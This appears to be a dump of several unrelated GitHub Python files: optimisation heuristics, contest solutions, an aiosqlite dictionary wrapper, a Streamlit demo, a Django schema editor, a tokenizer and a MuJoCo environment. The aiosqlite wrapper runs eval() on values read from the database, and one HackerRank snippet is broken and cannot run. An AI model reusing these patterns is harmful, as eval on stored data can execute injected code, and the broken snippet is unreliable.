False\r\n for i in range(100):\r\n obj = random.choice(neighbor)\r\n new_weight = weight\r\n new_price = price\r\n for item in obj:\r\n if ans[item] == 0:\r\n new_weight += W[item]\r\n new_price += P[item]\r\n elif ans[item] == 1:\r\n new_weight -= W[item]\r\n new_price -= P[item]\r\n else:\r\n print(\"Error!\")\r\n if new_weight > C:\r\n continue\r\n if new_price > price or random.random() < e ** ((new_weight - weight) / T):\r\n price = new_price\r\n weight = new_weight\r\n for item in obj:\r\n ans[item] = 1 - ans[item]\r\n flag = True\r\n if price > max_price:\r\n max_price = price\r\n max_weight = weight\r\n max_ans = ans[:]\r\n max_T = T\r\n if flag:\r\n break\r\n \r\n if not(flag):\r\n break \r\n T *= alpha\r\n return (max_ans,max_price,max_weight,max_T)\r\n\r\ndef tabu(neighbor_size,trials,tabu_size):\r\n global_ans = None\r\n global_price = 0\r\n global_weight = 0\r\n tabu_list = []\r\n\r\n prev_ans = [0] * n\r\n prev_price = 0\r\n prev_weight = 0\r\n \r\n for i in range(trials):\r\n neighbor = gen_neighbor(n,neighbor_size)\r\n max_ans = None\r\n max_price = 0\r\n max_weight = 0\r\n max_neighbor = None\r\n for obj in neighbor:\r\n if obj in tabu_list:\r\n continue\r\n new_price = prev_price\r\n new_weight = prev_weight\r\n for item in obj:\r\n if prev_ans[item] == 0:\r\n new_weight += W[item]\r\n new_price += P[item]\r\n elif prev_ans[item] == 1:\r\n new_weight -= W[item]\r\n new_price -= P[item]\r\n else:\r\n print(\"Error!\")\r\n if new_weight > C:\r\n continue\r\n if new_price > max_price:\r\n max_price = new_price\r\n max_weight = new_weight\r\n max_ans = prev_ans[:]\r\n max_neighbor = obj\r\n for item in obj:\r\n max_ans[item] = 1 - prev_ans[item]\r\n \r\n if max_ans == None:\r\n break\r\n if max_price > global_price:\r\n global_price = max_price\r\n global_weight = max_weight\r\n global_ans = max_ans[:]\r\n \r\n tabu_list.append(max_neighbor)\r\n while len(tabu_list) > tabu_size:\r\n del tabu_list[0]\r\n\r\n prev_price = max_price\r\n prev_weight = max_weight\r\n prev_ans = max_ans[:]\r\n\r\n return (global_ans,global_price,global_weight)\r\n\r\ndef work1():\r\n print(\"Algorithm 1\")\r\n print(\"[T]\")\r\n T_list = [1000,1200,1400,1600,1800,2000]\r\n for obj in T_list:\r\n print(\"T =\",obj)\r\n print(sa(obj,0.999,1))\r\n print()\r\n print(\"[alpha]\")\r\n alpha_list = [0.999,0.99,0.95,0.9,0.8,0.7]\r\n for obj in alpha_list:\r\n print(\"alpha =\",obj)\r\n print(sa(2000,obj,1))\r\n print()\r\n print(\"[d]\")\r\n d_list = [1,2,3,4,5,6,7]\r\n for obj in d_list:\r\n print(\"d =\",obj)\r\n print(sa(2000,0.99,obj))\r\n print()\r\n\r\ndef work2():\r\n print(\"Algorithm 2\")\r\n print(\"[d]\")\r\n d_list = [1,2,3,4,5,6,7]\r\n for obj in d_list:\r\n print(\"d =\",obj)\r\n print(tabu(obj,200,20))\r\n print()\r\n print(\"[trials]\")\r\n trials_list = [1,2,3,4,5]\r\n for obj in trials_list:\r\n print(\"trials =\",obj)\r\n print(tabu(5,obj,20))\r\n print()\r\n print(\"[size]\")\r\n tabu_list = [1,2,3,5,10,15,20,50,100]\r\n for obj in tabu_list:\r\n print(\"size =\",obj)\r\n print(tabu(3,200,obj))\r\n print()\r\n \r\ndef main():\r\n work1()\r\n work2()\r\n print(dp())\r\n print(sa(2000,0.999,1))\r\n print(tabu(5,20,20))\r\n\r\nmain()\r\n","repo_name":"Lonely-Programmer/Graph_Network","sub_path":"knapsack.py","file_name":"knapsack.py","file_ext":"py","file_size_in_byte":5300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15046188639","text":"import itertools\r\nK,N = map(int,input().split())\r\nsrc = [input().split() for i in range(N)]\r\n\r\nfor ptn in itertools.product(range(1,4),repeat=K):\r\n d = [None] * K\r\n for v,w in src:\r\n i = 0\r\n for c in v:\r\n ci = int(c)-1\r\n if i + ptn[ci] > len(w): break\r\n if d[ci] is None:\r\n d[ci] = w[i:i+ptn[ci]]\r\n else:\r\n if d[ci] != w[i:i+ptn[ci]]: break\r\n i += ptn[ci]\r\n else:\r\n if i == len(w): continue\r\n break\r\n else:\r\n print(*d, sep='\\n')\r\n exit()","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc031/D/4581249.py","file_name":"4581249.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"27798238730","text":"from ast import literal_eval\nimport aiosqlite\n\n\nclass SQLCommands(object):\n def __init__(self, database_name: str, table_name: str, primary_key: str):\n self._database_name = database_name\n self._table_name = table_name\n self._primary_key = primary_key\n\n async def delete(self, row_id):\n \"\"\"\n deletes a certain row from the table.\n :param row_id: The id of the row.\n :type row_id: int\n \"\"\"\n async with aiosqlite.connect(self._database_name) as db:\n async with db.cursor() as cursor:\n await cursor.execute(\n f\"DELETE FROM {self._table_name} WHERE {self._primary_key} = ?\", (row_id,))\n await db.commit()\n\n async def execute(self, query):\n \"\"\"\n Execute SQL query.\n \"\"\"\n async with aiosqlite.connect(self._database_name) as db:\n async with db.cursor() as cursor:\n cur = await cursor.execute(query)\n res = await cur.fetchall()\n await db.commit()\n return res\n\n\nclass Connect(SQLCommands):\n \"\"\"\n Instantiate a conversion to and from sqlite3 database and python dictionary.\n \"\"\"\n\n def __init__(self, database_name: str, table_name: str, primary_key: str):\n super().__init__(database_name, table_name, primary_key)\n\n async def to_dict(self, my_id, *column_names: str) -> dict:\n \"\"\"\n Convert a sqlite3 table into a python dictionary.\n :param my_id: The id of the row.\n :type my_id: int\n :param column_names: The column name.\n :type column_names: str\n :return: The dictionary.\n :rtype: dict\n \"\"\"\n async with aiosqlite.connect(self._database_name) as db:\n async with db.cursor() as cursor:\n data = {}\n columns = \", \".join(column for column in column_names)\n\n def check_type(value, value_type):\n # to check if value is of certain type\n try:\n val = str(value)\n return isinstance(literal_eval(val), value_type)\n except SyntaxError:\n return False\n except ValueError:\n return False\n\n if columns == \"*\":\n getID = await cursor.execute(\n f\"SELECT {columns} FROM {self._table_name} WHERE {self._primary_key} = ?\", (my_id,))\n fieldnames = [f[0] for f in getID.description]\n values = await getID.fetchone()\n values = list(values)\n for v in range(len(values)):\n if not (isinstance(values[v], int) or isinstance(values[v], float)):\n isList = check_type(values[v], list)\n isTuple = check_type(values[v], tuple)\n isDict = check_type(values[v], dict)\n if isList or isTuple or isDict:\n values[v] = literal_eval(values[v])\n for i in range(len(fieldnames)):\n data[fieldnames[i]] = values[i]\n return data\n else:\n getID = await cursor.execute(\n f\"SELECT {columns} FROM {self._table_name} WHERE {self._primary_key} = ?\", (my_id,))\n values = await getID.fetchone()\n values = list(values)\n for v in range(len(values)):\n if not (isinstance(values[v], int) or isinstance(values[v], float)):\n isList = check_type(values[v], list)\n isTuple = check_type(values[v], tuple)\n isDict = check_type(values[v], dict)\n if isList or isTuple or isDict:\n values[v] = literal_eval(values[v])\n for i in range(len(column_names)):\n data[column_names[i]] = values[i]\n return data\n\n # To push data to db\n\n async def to_sql(self, my_id, dictionary: dict):\n \"\"\"\n Convert a python dictionary into a sqlite3 table.\n :param my_id: The id of the row.\n :type my_id: int\n :param dictionary: The dictionary object.\n :type dictionary: dict\n :return: The SQLite3 Table.\n :rtype: sqlite\n \"\"\"\n async with aiosqlite.connect(self._database_name) as db:\n async with db.cursor() as cursor:\n getUser = await cursor. \\\n execute(f\"SELECT {self._primary_key} FROM {self._table_name} WHERE {self._primary_key} = ?\",\n (my_id,))\n isUserExists = await getUser.fetchone()\n if isUserExists:\n for key, val in dictionary.items():\n if isinstance(val, list) or isinstance(val, dict) or isinstance(val, tuple):\n dictionary[key] = str(val)\n await cursor.execute(f\"UPDATE {self._table_name} SET \" + ', '.join(\n \"{}=?\".format(k) for k in dictionary.keys()) + f\" WHERE {self._primary_key}=?\",\n list(dictionary.values()) + [my_id])\n else:\n await cursor.execute(f\"INSERT INTO {self._table_name} ({self._primary_key}) VALUES ( ? )\", (my_id,))\n for key, val in dictionary.items():\n if isinstance(val, list) or isinstance(val, dict) or isinstance(val, tuple):\n dictionary[key] = str(val)\n await cursor.execute(f\"UPDATE {self._table_name} SET \" + ', '.join(\n \"{}=?\".format(k) for k in dictionary.keys()) + f\" WHERE {self._primary_key}=?\",\n list(dictionary.values()) + [my_id])\n\n await db.commit()\n\n async def select(self, column_name: str, limit: int = None, order_by: str = None,\n ascending: bool = True, equal=None, like: str = None, between: tuple = None,\n distinct: bool = False, offset: int = None) -> list:\n \"\"\"\n Select a column from the table.\n\n :param column_name: The column name.\n :type column_name: str\n :param limit:\n :rtype: int\n :param order_by:\n :rtype: str\n :param ascending:\n :rtype: bool\n :param equal:\n :param like:\n :rtype: str\n :param distinct:\n :rtype: bool\n :param between:\n :rtype: tuple\n :param offset:\n :rtype: int\n :return: The list.\n :rtype: list\n \"\"\"\n async with aiosqlite.connect(self._database_name) as db:\n async with db.cursor() as cursor:\n\n query = f\"SELECT {column_name} FROM {self._table_name}\"\n parameters = []\n condition = False\n if distinct is True:\n query = f\"SELECT DISTINCT {column_name} FROM {self._table_name}\"\n if equal is not None and condition is False:\n condition = True\n query += f\" WHERE {column_name} = ?\"\n parameters.append(equal)\n elif equal is not None and condition is True:\n query += f\" AND {column_name} = ?\"\n parameters.append(equal)\n if like is not None and condition is False:\n condition = True\n query += f\" WHERE {column_name} LIKE ?\"\n parameters.append(\"%\" + like + \"%\")\n elif like is not None and condition is True:\n query += f\" AND {column_name} LIKE ?\"\n parameters.append(\"%\" + like + \"%\")\n if between is not None and condition is False:\n condition = True\n query += f\" WHERE {column_name} BETWEEN ? AND ?\"\n parameters.append(range(between[0], between[1]).start)\n parameters.append(range(between[0], between[1]).stop)\n\n elif between is not None and condition is True:\n query += f\" AND {column_name} BETWEEN ? AND ?\"\n parameters.append(range(between[0], between[1]).start)\n parameters.append(range(between[0], between[1]).stop)\n if order_by is not None:\n query += f\" ORDER BY {order_by}\"\n if ascending is False:\n query += f\" DESC\"\n else:\n query += f\"\"\n if limit is not None:\n query += f\" LIMIT ?\"\n parameters.append(limit)\n if offset is not None and limit is not None:\n query += f\" OFFSET ?\"\n parameters.append(offset)\n elif offset is not None and limit is None:\n raise Exception(\"You can't use kwarg 'offset' without kwarg 'limit'\")\n parameters = str(tuple(parameters))\n parameters = eval(parameters)\n # print(f\"query ==> await cursor.execute(\\\"{query}\\\", {parameters})\")\n # print(parameters)\n getValues = await cursor.execute(query, parameters)\n values = await getValues.fetchall()\n my_list = []\n\n def check_type(value, value_type):\n # to check if value is of certain type\n try:\n val = str(value)\n return isinstance(literal_eval(val), value_type)\n except SyntaxError:\n return False\n except ValueError:\n return False\n\n for i in values:\n i = str(i)\n i = i[1:-2] # Remove round brackets in i\n # Check the type of i\n if i.isnumeric():\n my_list.append(int(i))\n elif isinstance(i, float):\n my_list.append(float(i))\n elif i == 'None' or i is None:\n my_list.append(i)\n elif check_type(i, list) or check_type(i, dict) or check_type(i, tuple):\n i = eval(i)\n my_list.append(eval(i))\n elif i.isascii():\n i = i[1:-1]\n my_list.append(i)\n else:\n my_list.append(i)\n\n return my_list\n","repo_name":"sabrysm/aiosqlitedict","sub_path":"src/aiosqlitedict/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":10807,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"29047434291","text":"import streamlit as st\n\nfrom streamlit_player import st_player, _SUPPORTED_EVENTS\nfrom streamlit_gallery.utils.readme import readme\n\n\ndef main():\n with readme(\"streamlit-player\", st_player, __file__):\n c1, c2, c3 = st.columns([3, 3, 2])\n\n with c3:\n st.subheader(\"Parameters\")\n\n options = {\n \"events\": st.multiselect(\"Events to listen\", _SUPPORTED_EVENTS, [\"onProgress\"]),\n \"progress_interval\": 1000,\n \"volume\": st.slider(\"Volume\", 0.0, 1.0, 1.0, .01),\n \"playing\": st.checkbox(\"Playing\", False),\n \"loop\": st.checkbox(\"Loop\", False),\n \"controls\": st.checkbox(\"Controls\", True),\n \"muted\": st.checkbox(\"Muted\", False),\n }\n\n with st.expander(\"SUPPORTED PLAYERS\", expanded=True):\n st.write(\"\"\"\n - Dailymotion\n - Facebook\n - Mixcloud\n - SoundCloud\n - Streamable\n - Twitch\n - Vimeo\n - Wistia\n - YouTube\n

\n \"\"\", unsafe_allow_html=True)\n\n\n with c1:\n url = st.text_input(\"First URL\", \"https://youtu.be/c9k8K1eII4g\")\n event = st_player(url, **options, key=\"youtube_player\")\n\n st.write(event)\n\n with c2:\n url = st.text_input(\"Second URL\", \"https://soundcloud.com/imaginedragons/demons\")\n event = st_player(url, **options, key=\"soundcloud_player\")\n\n st.write(event)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"okld/streamlit-gallery","sub_path":"streamlit_gallery/components/react_player/streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"72"} +{"seq_id":"15949826980","text":"studentName = []\nstudentScore = []\nfor i in range(int(input())):\n name = input()\n studentName.append(name)\n score = float(input())\n studentName.append(score)\n studentScore.append(studentName)\nprint(studentName)\n\nn = int(input())\narr=[[input(),float(input())] for _ in range(0,n)]\narr.sort(key=lambda x:(x[1].x[0]))\nname = [i[0]for i in arr]\nmarks = [i[1] for i in arr]\nmin_val = min(marks)\nwhile marks[0]==min_val:\n marks.remove(marks[0])\n names.remove(names[0])\nfor x in range(0,len(marks)):\n if mark[x] == min(marks):\n print(names[x])","repo_name":"Habibur-Rahman0927/1_months_Python_Crouse","sub_path":"HackerRank problem solving/problem_no_8.py","file_name":"problem_no_8.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37040104858","text":"from django.db.backends.postgresql.schema import \\\n DatabaseSchemaEditor as PGDatabaseSchemaEditor\nimport psycopg2\n\n\nclass DatabaseSchemaEditor(PGDatabaseSchemaEditor):\n sql_create_index = \"CREATE INDEX %(name)s ON %(table)s%(using)s (%(columns)s)%(extra)s\"\n sql_create_varchar_index = \"CREATE INDEX %(name)s ON %(table)s (%(columns)s varchar_pattern_ops)%(extra)s\"\n sql_create_text_index = \"CREATE INDEX %(name)s ON %(table)s (%(columns)s text_pattern_ops)%(extra)s\"\n\n def _create_like_index_sql(self, model, field):\n \"\"\"\n Return the statement to create an index with varchar operator pattern\n when the column type is 'varchar' or 'text', otherwise return None.\n \"\"\"\n db_type = field.db_type(connection=self.connection)\n if db_type is not None and (field.db_index or field.unique):\n # Fields with database column types of `varchar` and `text` need\n # a second index that specifies their operator class, which is\n # needed when performing correct LIKE queries outside the\n # C locale. See #12234.\n #\n # The same doesn't apply to array fields such as varchar[size]\n # and text[size], so skip them.\n if '[' in db_type:\n return None\n if db_type.startswith('varchar'):\n return self._create_index_sql(\n model, [field],\n suffix='_like',\n sql=self.sql_create_varchar_index)\n elif db_type.startswith('text'):\n return self._create_index_sql(model, [field],\n suffix='_like',\n sql=self.sql_create_text_index)\n return None\n\n def _alter_field(self,\n model,\n old_field,\n new_field,\n old_type,\n new_type,\n old_db_params,\n new_db_params,\n strict=False):\n # Drop indexes on varchar/text/citext columns that are changing to a\n # different type.\n if (old_field.db_index or old_field.unique) and (\n (old_type.startswith('varchar')\n and not new_type.startswith('varchar')) or\n (old_type.startswith('text') and not new_type.startswith('text'))\n or (old_type.startswith('citext')\n and not new_type.startswith('citext'))):\n index_name = self._create_index_name(model._meta.db_table,\n [old_field.column],\n suffix='_like')\n self.execute(\n self._delete_constraint_sql(self.sql_delete_index, model,\n index_name))\n\n super()._alter_field(model, old_field, new_field, old_type, new_type,\n old_db_params, new_db_params, strict)\n # Added an index? Create any PostgreSQL-specific indexes.\n if ((not (old_field.db_index or old_field.unique)\n and new_field.db_index)\n or (not old_field.unique and new_field.unique)):\n like_index_statement = self._create_like_index_sql(\n model, new_field)\n if like_index_statement is not None:\n self.execute(like_index_statement)\n\n # Removed an index? Drop any PostgreSQL-specific indexes.\n if old_field.unique and not (new_field.db_index or new_field.unique):\n index_to_remove = self._create_index_name(model._meta.db_table,\n [old_field.column],\n suffix='_like')\n self.execute(\n self._delete_constraint_sql(self.sql_delete_index, model,\n index_to_remove))\n","repo_name":"ngx-devman/Voxsnap","sub_path":"cratedb/backends/postgresql/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"943322944","text":"__version__ = '1.0.0-rc.1'\n__author__ = 'Lorenzo Menghini, Martino Pulici, Alessandro Stockman, Luca Zucchini'\n\n\nimport collections\n\nimport torch\nfrom transformers import BasicTokenizer, PreTrainedTokenizer\n\nfrom rate_severity_of_toxic_comments.embedding import build_embedding_matrix, check_OOV_terms, count_OOV_frequency, load_embedding_model\nfrom rate_severity_of_toxic_comments.vocabulary import build_vocabulary, load_vocabulary\n\n\nclass NaiveTokenizer(PreTrainedTokenizer):\n \"\"\"\n Class containing a naive tokenizer.\n\n Attributes\n ----------\n basic_tokenizer : transformers.models.bert.tokenization_bert.BasicTokenizer\n Basic tokenizer.\n\n Methods\n -------\n __init__(self, do_lower_case=True, never_split=None, unk_token='[UNK]', pad_token='[PAD]', **kwargs)\n Initializes the tokenizer.\n do_lower_case(self)\n Returns the lowercasing flag.\n vocab_size(self)\n Returns the size of the vocabulary.\n set_vocab(self, vocab)\n Sets the vocabulary.\n get_vocab(self)\n Gets the vocabulary.\n _tokenize(self, text)\n Returns the tokenized text.\n _convert_token_to_id(self, token)\n Converts a token in an id.\n _convert_id_to_token(self, index)\n Converts an index in a token.\n convert_tokens_to_string(self, tokens)\n Converts a sequence of tokens in a single string.\n\n \"\"\"\n\n def __init__(\n self,\n do_lower_case=True,\n never_split=None,\n unk_token='[UNK]',\n pad_token='[PAD]',\n **kwargs):\n \"\"\"\n Initializes the model.\n\n Parameters\n ----------\n do_lower_case : bool, default True\n Lowercasing flag.\n never_split : list, optional\n List of tokens which will never be split during tokenization.\n unk_token : str\n Unkown token string.\n pad_token : str\n Pad token string.\n **kwargs : dict, optional\n Extra arguments.\n\n \"\"\"\n super().__init__(\n do_lower_case=do_lower_case,\n do_basic_tokenize=True,\n never_split=never_split,\n unk_token=unk_token,\n sep_token=None,\n pad_token=pad_token,\n cls_token=None,\n mask_token=None,\n tokenize_chinese_chars=True,\n strip_accents=None,\n **kwargs\n )\n self.basic_tokenizer = BasicTokenizer(\n do_lower_case=do_lower_case,\n never_split=never_split\n )\n\n @property\n def do_lower_case(self):\n \"\"\"\n Returns the lowercasing flag.\n\n Returns\n -------\n lower_case : bool\n Lowercasing flag.\n\n \"\"\"\n lower_case = self.basic_tokenizer.do_lower_case\n return lower_case\n\n @property\n def vocab_size(self):\n \"\"\"\n Returns the size of the vocabulary.\n\n Returns\n -------\n vocab_size : int\n Size of the vocabulary.\n\n \"\"\"\n vocab_size = len(self.vocab)\n return vocab_size\n\n def set_vocab(self, vocab):\n \"\"\"\n Sets the vocabulary.\n\n Parameters\n ----------\n vocab : dict\n Vocabulary.\n\n \"\"\"\n self.vocab = vocab\n self.ids_to_tokens = collections.OrderedDict(\n [(ids, tok) for tok, ids in self.vocab.items()])\n\n def get_vocab(self):\n \"\"\"\n Gets the vocabulary.\n\n Returns\n ----------\n vocab : dict\n Vocabulary.\n\n \"\"\"\n vocab = dict(self.vocab, **self.added_tokens_encoder)\n return vocab\n\n def _tokenize(self, text):\n \"\"\"\n Returns the tokenized text.\n\n Parameters\n ----------\n text : str\n Text to tokenize.\n\n Returns\n ----------\n tokens : list\n List of tokens.\n\n \"\"\"\n tokens = self.basic_tokenizer.tokenize(\n text, never_split=self.all_special_tokens)\n return tokens\n\n def _convert_token_to_id(self, token):\n \"\"\"\n Converts a token in an id.\n\n Parameters\n ----------\n token : str\n Token to convert.\n\n Returns\n ----------\n id : torch.Tensor\n Id tensor.\n\n \"\"\"\n id = torch.tensor(\n self.vocab.get(\n token, self.vocab.get(\n self.unk_token)))\n return id\n\n def _convert_id_to_token(self, index):\n \"\"\"\n Converts an index in a token.\n\n Parameters\n ----------\n index : int\n Index to convert.\n\n Returns\n ----------\n token : str\n Token.\n\n \"\"\"\n token = self.ids_to_tokens.get(index, self.unk_token)\n return token\n\n def convert_tokens_to_string(self, tokens):\n \"\"\"\n Converts a sequence of tokens in a single string.\n\n Parameters\n ----------\n tokens : list\n List of tokens.\n\n Returns\n ----------\n out_string : str\n Output string.\n\n \"\"\"\n out_string = ' '.join(tokens).replace(' ##', '').strip()\n return out_string\n\n\ndef create_recurrent_model_tokenizer(config, df, verbose=False):\n \"\"\"\n Creates a recurrent model tokenizer.\n\n Parameters\n ----------\n config : dict\n Configuration parameters.\n df : pandas.core.frame.DataFrame\n Dataset.\n verbose : bool, default False\n Verbosity flag.\n\n Returns\n -------\n tokenizer : rate_severity_of_toxic_comments.tokenizer.NaiveTokenizer\n Tokenizer.\n embedding_matrix : numpy.ndarray\n Embedding matrix.\n\n \"\"\"\n vocab_file_path = config['recurrent']['vocab_file']\n dataframe_cols = config['training']['dataset']['cols']\n embedding_dim = config['recurrent']['embedding_dimension']\n tokenizer = NaiveTokenizer()\n vocab = load_vocabulary(vocab_file_path)\n if len(vocab) == 0:\n vocab, tokenizer = build_vocabulary(\n df, dataframe_cols, tokenizer, save_path=vocab_file_path)\n tokenizer.set_vocab(vocab)\n embedding_model = load_embedding_model(config['recurrent'])\n if verbose:\n oov = check_OOV_terms(embedding_model, vocab)\n count_OOV_frequency(df, dataframe_cols, oov)\n embedding_matrix = build_embedding_matrix(\n embedding_model, embedding_dim, vocab)\n return tokenizer, embedding_matrix\n","repo_name":"ilSommo/rate-severity-of-toxic-comments","sub_path":"rate_severity_of_toxic_comments/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":6469,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"25755762075","text":"import numpy as np\nfrom gym import utils\nfrom mjrl.envs import mujoco_env\nfrom mujoco_py import MjViewer\nfrom robohive.utils.quat_math import *\nimport os\nfrom robohive.envs.obs_vec_dict import ObsVecDict\nimport collections\n\nADD_BONUS_REWARDS = True\n# OBS_KEYS = ['hand_jnt', 'obj_vel', 'palm_pos', 'obj_pos', 'obj_rot', 'target_pos', 'nail_impact'] # DAPG\nRWD_KEYS = ['palm_obj', 'tool_target', 'target_goal', 'smooth', 'bonus'] # DAPG\n\nOBS_KEYS = ['hand_jnt', 'obj_vel', 'palm_pos', 'obj_pos', 'obj_rot', 'target_pos', 'nail_impact', 'tool_pos', 'goal_pos', 'hand_vel']\n\nRWD_MODE = 'dense' # dense/ sparse\n\nclass HammerEnvV0(mujoco_env.MujocoEnv, utils.EzPickle, ObsVecDict):\n\n DEFAULT_CREDIT = \"\"\"\\\n DAPG: Demo Augmented Policy Gradient; Learning Complex Dexterous Manipulation with Deep Reinforcement Learning and Demonstrations\n {Aravind Rajeshwaran*, Vikash Kumar*}, Abhiskek Gupta, John Schulman, Emanuel Todorov, and Sergey Levine\n RSS-2018 | https://sites.google.com/view/deeprl-dexterous-manipulation\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n\n # get sim\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n sim = mujoco_env.get_sim(model_path=curr_dir+'/assets/DAPG_hammer.xml')\n # ids\n self.target_obj_sid = sim.model.site_name2id('S_target')\n self.S_grasp_sid = sim.model.site_name2id('S_grasp')\n self.obj_bid = sim.model.body_name2id('object')\n self.tool_sid = sim.model.site_name2id('tool')\n self.goal_sid = sim.model.site_name2id('nail_goal')\n self.target_bid = sim.model.body_name2id('nail_board')\n self.nail_rid = sim.model.sensor_name2id('S_nail')\n # change actuator sensitivity\n sim.model.actuator_gainprm[sim.model.actuator_name2id('A_WRJ1'):sim.model.actuator_name2id('A_WRJ0')+1,:3] = np.array([10, 0, 0])\n sim.model.actuator_gainprm[sim.model.actuator_name2id('A_FFJ3'):sim.model.actuator_name2id('A_THJ0')+1,:3] = np.array([1, 0, 0])\n sim.model.actuator_biasprm[sim.model.actuator_name2id('A_WRJ1'):sim.model.actuator_name2id('A_WRJ0')+1,:3] = np.array([0, -10, 0])\n sim.model.actuator_biasprm[sim.model.actuator_name2id('A_FFJ3'):sim.model.actuator_name2id('A_THJ0')+1,:3] = np.array([0, -1, 0])\n # scales\n self.act_mid = np.mean(sim.model.actuator_ctrlrange, axis=1)\n self.act_rng = 0.5*(sim.model.actuator_ctrlrange[:,1]-sim.model.actuator_ctrlrange[:,0])\n\n # get env\n utils.EzPickle.__init__(self)\n ObsVecDict.__init__(self)\n self.obs_dict = {}\n self.rwd_dict = {}\n mujoco_env.MujocoEnv.__init__(self, sim=sim, frame_skip=5)\n self.action_space.high = np.ones_like(sim.model.actuator_ctrlrange[:,1])\n self.action_space.low = -1.0 * np.ones_like(sim.model.actuator_ctrlrange[:,0])\n\n # step the simulation forward\n def step(self, a):\n # apply action and step\n a = np.clip(a, -1.0, 1.0)\n a = self.act_mid + a*self.act_rng\n self.do_simulation(a, self.frame_skip)\n\n # observation and rewards\n obs = self.get_obs()\n self.expand_dims(self.obs_dict) # required for vectorized rewards calculations\n self.rwd_dict = self.get_reward_dict(self.obs_dict)\n self.squeeze_dims(self.rwd_dict)\n self.squeeze_dims(self.obs_dict)\n\n # finalize step\n env_info = self.get_env_infos()\n return obs, env_info['rwd_'+RWD_MODE], bool(env_info['done']), env_info\n\n def get_reward_dict(self, obs_dict):\n # get to hammer\n palm_obj_dist = np.linalg.norm(obs_dict['palm_pos'] - obs_dict['obj_pos'], axis=-1)\n # take hammer head to nail\n tool_target_dist = np.linalg.norm(obs_dict['tool_pos'] - obs_dict['target_pos'], axis=-1)\n # make nail go inside\n target_goal_dist = np.linalg.norm(obs_dict['target_pos'] - obs_dict['goal_pos'], axis=-1)\n # vel magnitude (handled differently in DAPG)\n hand_vel_mag = np.linalg.norm(obs_dict['hand_vel'], axis=-1)\n obj_vel_mag = np.linalg.norm(obs_dict['obj_vel'], axis=-1)\n # lifting tool\n lifted = (obs_dict['obj_pos'][:,:,2] > 0.04) * (obs_dict['tool_pos'][:,:,2] > 0.04)\n\n rwd_dict = collections.OrderedDict((\n # Optional Keys\n ('palm_obj', - 0.1 * palm_obj_dist),\n ('tool_target', -1.0 * tool_target_dist),\n ('target_goal', -10.0 * target_goal_dist),\n ('smooth', -1e-2 * (hand_vel_mag + obj_vel_mag)),\n ('bonus', 2.0*lifted + 25.0*(target_goal_dist<0.020) + 75.0*(target_goal_dist<0.010)),\n # Must keys\n ('sparse', -1.0*target_goal_dist),\n ('solved', target_goal_dist<0.010),\n ('done', palm_obj_dist > 1.0),\n ))\n rwd_dict['dense'] = np.sum([rwd_dict[key] for key in RWD_KEYS], axis=0)\n return rwd_dict\n\n def get_obs_dict(self, sim):\n # qpos for hand, xpos for obj, xpos for target\n obs_dict = {}\n obs_dict['time'] = np.array([sim.data.time])\n obs_dict['hand_jnt'] = sim.data.qpos[:-6].copy()\n obs_dict['obj_vel'] = np.clip(sim.data.qvel[-6:].copy(), -1.0, 1.0)\n obs_dict['palm_pos'] = sim.data.site_xpos[self.S_grasp_sid].copy()\n obs_dict['obj_pos'] = sim.data.body_xpos[self.obj_bid].copy()\n obs_dict['obj_rot'] = quat2euler(sim.data.body_xquat[self.obj_bid].copy())\n obs_dict['target_pos'] = sim.data.site_xpos[self.target_obj_sid].copy()\n obs_dict['nail_impact'] = np.clip(sim.data.sensordata[self.nail_rid], [-1.0], [1.0])\n\n # keys missing from DAPG-env but needed for rewards calculations\n obs_dict['tool_pos'] = sim.data.site_xpos[self.tool_sid].copy()\n obs_dict['goal_pos'] = sim.data.site_xpos[self.goal_sid].copy()\n obs_dict['hand_vel'] = np.clip(sim.data.qvel[:-6].copy(), -1.0, 1.0)\n return obs_dict\n\n def get_obs(self):\n \"\"\"\n Get observations from the environemnt.\n \"\"\"\n # get obs_dict using the observed information\n self.obs_dict = self.get_obs_dict(self.sim)\n\n # recoved observation vector from the obs_dict\n t, obs = self.obsdict2obsvec(self.obs_dict, OBS_KEYS)\n return obs\n\n # use latest obs, rwds to get all info (be careful, information belongs to different timestamps)\n # Its getting called twice. Once in step and sampler calls it as well\n def get_env_infos(self):\n env_info = {\n 'time': self.obs_dict['time'][()],\n 'rwd_dense': self.rwd_dict['dense'][()],\n 'rwd_sparse': self.rwd_dict['sparse'][()],\n 'solved': self.rwd_dict['solved'][()],\n 'done': self.rwd_dict['done'][()],\n 'obs_dict': self.obs_dict,\n 'rwd_dict': self.rwd_dict,\n }\n return env_info\n\n # compute vectorized rewards for paths\n def compute_path_rewards(self, paths):\n # path has two keys: observations and actions\n # path[\"observations\"] : (num_traj, horizon, obs_dim)\n # path[\"rewards\"] should have shape (num_traj, horizon)\n obs_dict = self.obsvec2obsdict(paths[\"observations\"])\n rwd_dict = self.get_reward_dict(obs_dict)\n\n rewards = rwd_dict[RWD_MODE]\n done = rwd_dict['done']\n # time align rewards. last step is redundant\n done[...,:-1] = done[...,1:]\n rewards[...,:-1] = rewards[...,1:]\n paths[\"done\"] = done if done.shape[0] > 1 else done.ravel()\n paths[\"rewards\"] = rewards if rewards.shape[0] > 1 else rewards.ravel()\n return paths\n\n def truncate_paths(self, paths):\n hor = paths[0]['rewards'].shape[0]\n for path in paths:\n if path['done'][-1] == False:\n path['terminated'] = False\n terminated_idx = hor\n elif 